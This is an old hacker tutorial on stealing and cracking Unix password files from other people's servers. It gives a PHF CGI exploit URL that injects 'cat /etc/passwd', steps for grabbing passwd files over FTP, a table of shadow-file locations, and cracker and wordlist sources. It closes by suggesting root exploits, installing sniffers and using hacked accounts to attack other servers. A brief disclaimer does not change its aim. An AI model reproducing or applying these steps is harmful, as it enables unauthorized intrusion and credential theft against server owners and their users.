By Goat
CONTENTS
1. Introduction
2. What is a Passwd File?
3. PHF Exploit
4. FTP Passwd
5. Shadowed Passwds
6. Crackers
7. Wordlists
8. Using Cracked Passwds
1. Introduction
Passwd files are the easist and simplist ways to hack. This text will explain
what they are, how to get them, how to crack them, what tools you will need,
and what you can do with them. Of course the minute you sign on the account
you just happened to crack because of this file, you are breaking the law.
This text is for information, not illegal activites. If you choose to do
illegal activies with the information from this it is no one's fault but
your own. Now down to the good stuff [=.
2. What is a Password File
A passwd file is an encrypted file that contains the users on a servers
passwords. The key word here is encrypted, so don't start thinking all i
have to do is find one and i hit the jackpot. Nope sorry Man, theres alot
more to it than that. The passwd file should look something like this
root:x:0:1:0000-Admin(0000):/:/bin/ksh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
listen:x:37:4:Network Admin:/usr/net/nls:nobody:x:60001:60001:uid
nobody:/:noaccess:x:60002:60002:uid noaccess:/:
ftp:x:101:4:
FTPUser:/export/home/ftp:
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rrc
Out of that entire section the only name you could use would be
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc
Heres how you read the File:
rrc:uXDg04UkZgWOQ:201:4:RichardClark:/export/home/rcc
Username: rcc
Encrypted Password: uXDg04UkZgWOQ
User number: 201
Group Number: 4
Real Name (usually): Richard Clark
Home Directory: /export/home/rrc
Type of Shell: /bin/ksh
Because it is the only name with an encrypted password.
You will never find a passwd file that has a password for
anything like ftp, listen, bin, etc., etc. Occasionally
using the PHF exploit or unshadowing a passwd file you can get an encrypted
password for root.
3. PHF Exploit
First let me explain what an exploit is. An Exploit is a hole in software
that allows someone to get something out of it that... Well you aren't
supposed to.
The PHF exploit is a hole in CGI, that most servers have fixed now (if they
have CGI). Lets just say a very popular IRC place has a problem with their
CGI. Also on the subject of servers with the exploit open, many forien
servers have this open. Unlike the FTP Passwd you don't even have to access
their FTP or login. What you do is get a WWW browser and then in the plass
for the WWW address type:
http://www.target.com/cgi-bin/phf?Qalias=j00%ffcat%20/etc/passwd
In www.target.com place who's password you want to get. If you get a message
like "The requested object does not exist on this server. The link you
followed is either outdated, inaccurate, or the server has been instructed
not to let you have it." its not there. If you get "You have been caught on
Candid Camera!" They caught you, but don't fear they rarly ever Report you.
I have yet to find a server that does report. Of course if you get
"root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
sysadm:ufcNtKNYj7m9I:0:0:
Regular Admin login:/admin:/sbin/sh
bin:*:2:2:Admin :/bin:
sys:*:3:3:Admin :/usr/src:
adm:*:4:4:Admin :/usr/adm:/sbin/sh
daemon:*:1:1: Daemon Login for daemons needing
nobody:*:65534:65534::/:
ftp:*:39:39:FTP guest login:/var/ftp:
dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
You have hit the jackpot [=. Save the file as a text and keep it handy,
because you will need it for later in the lesson.
4. FTP Password
The Passwd file on some systems is kept on FTP, which can pretty much be
accessed by anyone, unless the FTP has a non-anonymous logins rule. If you
are desprite to get a passwd file from a certain server (which may not even
be open, so only do if you are desprite or you want to hack your own server)
get an account that allows you access to their FTP. What you do is get an
FTP client such as WS FTP or CuteFTP. Find the servers name and connect to
it. You should get a list of Directories like "etc, hidden, incoming, pub"
goto the one called etc. Inside etc should be a few files like "group, passwd"
if any chance you see one called shadow there is a 8/10 chance you are about
to deal with a shadowed passwd. Well get the passwd file and maybe check out
what else is on the server so it won't look so suspious. Anyway when you log
out, run and check out your new passwd file. If you only see names like
"root, daemon, FTP, nobody, ftplogin, bin" with * beside their names where
the encrypted passwd should be, you got a passwd file that you cannot crack.
But if it happens to have user names (like "rcc:*: or ggills:*:" with a * (or
another symbol) you have a shadowed passwd. Of course if you have been
reading and paying attention if you have something that has a few things
that look like:
"joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
You have gotten one you can crack [=.
5. Shadowed Passwd's
Now if you happen to find a passwd file that looks something like this: "joetest:*:102:100::/home/joetest:/usr/bin/restsh"
which has a user name, not a programs, you have a shadowed passwd. The shadow file has the
encrypted passwords on it. Depending on the Operating System, the passwd file may be in
different places. To find out what Operating system your target is running from telnet
(connected to that server of course) type uname -a and it should say, if you cannot get to
telnet there is other methods of finding out. Here is a guide to systems passwd file locations
(taken from a text on passwd files by Kryto.) A token is the * (or other symbol) beside a
shadowed passwds user name:
UNIX Paths (Courtesy of 2600)
| UNIX | Path | Token
|
|---|
| AIX 3 | /etc/security/passwd
or
/tcb/auth/files/<first letter of username> | !
#
|
| A/UX 3.0s | /tcb/files/auth/?/ | *
|
| BSD4.3-Reno | /etc/master.passwd | *
|
| ConvexOS 10 | /etc/shadpw | *
|
| ConvexOS 11 | /etc/shadow | *
|
| DG/UX | /etc/tcb/aa/user/ | *
|
| EP/IX | /etc/shadow | x
|
| HP-UX | /.secure/etc/passwd | *
|
| IRIX 5 | /etc/shadow | x
|
| Linux 1.1 | /etc/shadow | *
|
| OSF/1 | /etc/passwd[.dir|.pag] | *
|
| SCO Unix #.2.x | /tcb/auth/files/<first letter of username> /<username> | *
|
| SunOS4.1+c2 | /etc/security/passwd.adjunct | ##username
|
| SunOS 5.0 | /etc/shadow | <optional NIS+ private secure maps/tables/whatever>
|
| System V Release 4.0 | /etc/shadow | x
|
| System V Release 4.2 | /etc/security/ | *
|
| Ultrix 4 | /etc/auth[.dir|.pag] | *
|
| UNICOS | /etc/udb | *
|
Anyway once you have the passwd file (with user names) and shadow file you can find a
unshadowing program which combines the passwd file and the shadow passwd and combines them into
what a regualr passwd file (sample unshadow program).
Now some servers have the shadow file on retrictions so no one without a special account on the
server can get to it.
6. Crackers
Now that you have gotten a passwd file, what the hell do you do it it to get passwords from
it? Thats where crackers come in.
A cracker takes the passwd file and a wordlist and compares the wordlist to the passwd files
encrypted passwd. I have used many different crackers. Everyone has their favorite. My personal
favorite is one called PaceCrack95 Ver. 1.1 (http://tms.netrom.com/~cassidy/utils/pacec.zip)
Many people swear that John the Ripper is the greatest but i have problems with it, but it can
be gotten off any decent hacking page. Same for Cracker Jack. A Cracker will load a wordlist and
a passwd file and compare the two. When it cracks a password it will tell you the user name and
the unencrypted password. You don't need to write it down because the program auto saves it.
Cracker Jack saves the file as jack.pot and i think John the Ripper does too. PaceCrack95 Ver. 1.1
saves it to the files name (ex., passwd.txt.db) with the exact name and makes it a .DB file.
I like to keep a passwd file once i have cracked it and later try out a new passwd cracker on
it with the same wordlist and see if it works or if it is fake. It helps [=.
7. Wordlists
Wordlists are a nessicity to cracking passwd files. They are just huge lists of words. The
biggest wordlist is avaliable from here: ftp://ftp.ox.ac.uk/pub/wordlists/
If you get a passwd file from another contry get a wordlist with the same launguage as the
worlist came from, as the users would probably use words they are familier with [=.
There are some programs which can make random numbers to what you specify but that might not
be really great, since there is such a huge amount of number combinations they could use.
I am not completly saying they are useless since i have cracked a password with one before,
I had fashoned my own list of 4 digit numbers since people might use their phone number and
well it worked [=.
8. What to do with a Cracked Password file
What you can do with a passwd is up to you. The nice thing to do is inform the administator of
the server that, accounts on his (or her) server are insucure and possibly open to anyone
hacking an account and bringing havok upon their server. Some other things you can do is fire
up good ole telnet and connect to one of their ports and see what you could do with that account.
The possiblities are endless. You could hack a webpage (i wouldn't do that on account of how
lame it is to destruct someones piece of work.)
You could use an exploit in sendmail and get root or install a sniffer on the system and get
all the passwords you could ever want from it. You could use the account to do work on OTHER
servers that you sure as hell wouldn't want to do from your own. If your account is canceled
you can use a hacked accounts dial up till you purchase a new one. Like I said the list goes
on and on. I am sure noone wants you doing anything destuctive (its lame anyhow.) And the best
thing to do is report the problem to the system admin so, if he finds out he won't freak and
call your admin and tell him you have been doing naughty things or even call the cops. I hope
this text was informative enough to fufill your needs [=.
Goat
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